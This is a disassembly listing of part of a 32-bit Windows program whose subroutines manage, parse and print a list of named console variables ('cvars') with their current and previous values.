; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 2811D0Bh
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


